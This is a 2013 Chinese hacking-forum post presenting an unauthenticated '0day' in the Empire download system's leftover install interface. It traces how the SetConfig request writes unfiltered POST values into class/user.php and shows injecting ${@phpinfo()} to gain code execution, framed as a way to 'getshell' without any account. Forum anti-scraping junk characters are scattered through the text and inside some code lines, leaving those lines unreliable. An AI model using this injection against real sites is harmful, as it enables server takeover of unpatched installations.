找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2308|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们- C- |: |; A& E) y  g  b5 O8 j
9 u* {/ _' u; D/ S# L( b: b

3 z( G3 `+ u& u9 i% U, U
这是帝国的一套下载系统 如图% H6 s' N5 u2 {
ps(不需要任何账户和密码,直接写shell)


3 Y1 K$ H& J( y

由于很多站是由于下载要整合discuz 等等一些论坛....) `$ Y1 t+ j5 e% A3 x: F6 P


) o0 H% Z) t, w) k

而帝国他又有一个万能接口,如图


* I" ?- B! Q. H6 |8 C- L! z; u# I3 I3 ~( v# Q& j# D$ \8 O

8 T: }0 t: [% A3 `  u

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
% a% `# s" e7 T2 R
2 P% Z) ?5 B: q! [当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
8 u/ N9 H6 Q* K/ _0 L0 P; {3 `
; ?/ o5 q+ [9 v' P4 S; M5 s5 B( A在data/fun.php中的15行2 _0 Y4 W# ?% m# ^

) L4 m2 Y( M) {+ {1 f2 O7 L' S我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {6 p: I5 R; J6 S; ]
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
- \3 Z  b9 e) ]6 ]* L! L5 R0 ~  L+ H  A( T+ r" v% L1 H
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);8 Y' J# T" B& Q( o. D1 m

5 I( _; v& a' Q! Q% \8 l- f/ `4 B5 U他将传进来的变量进行了切割,然后赋给了$filetext
; D/ t& g4 ~2 C0 S+ S" _- P6 T. e1 g3 l  @; ]# X9 P
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了  T2 H+ ^  v; K, S; L

8 Q( S1 i1 n# Y  g4 M8 f0 S我们看看写入的结果,随便填一个


7 q) K/ }& a5 g  o' h2 q/ K- t
- I8 U* A7 N# W4 J# p& W3 W

7 N" L1 X/ j# `' A2 `/ P. i: L/ |6 ^  B& `' I

4 z2 d, X2 m3 T  j  G7 e9 }  K* a7 E1 v' w# V

& n) G, t! j. G2 a
/ y& S) A; M+ L5 w8 ]* V1 L
7 m1 J3 W! W1 L4 D0 \+ o

9 d3 o0 O5 }3 G
3 c, _% E$ x% `: Z4 }/ Y& t
! H1 p# j0 }2 g$ N3 b& g# Z$ j$ i; |9 a; D5 i; Y$ e$ H1 M- ^0 I
4 Z) v5 }# U( f4 [% b% B- T: P" J) T

  |9 \0 ^5 `+ J- B' l6 C; w8 j# ?; J0 c! N1 l
7 Y5 i, [+ p$ t* h, d5 [+ r% C

) |' r0 z4 u( \; `' d& H+ R' `2 N" @
7 ~( w2 q' ^" H+ e
/ i  X' y) T; `. E

所以我们淫荡点,写个${@phpinfo()}试试

- i' e. |! g' T) m0 s0 j

然后访问以下class/user.php这个文件
( ^8 q' b4 P1 Q4 K% D+ q& W' r日了吧

& b/ J3 H; l7 r* i+ d

9 D9 ]( J/ h7 O) `9 \' r7 M* C
# k: q+ ?: R1 s) H$ w6 C
( n& P8 V2 v0 L5 b8 L5 A. J

# D$ g! t; }- W* D7 t6 B% m
. M" x$ p8 K% Q* e; F+ _# R( T

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表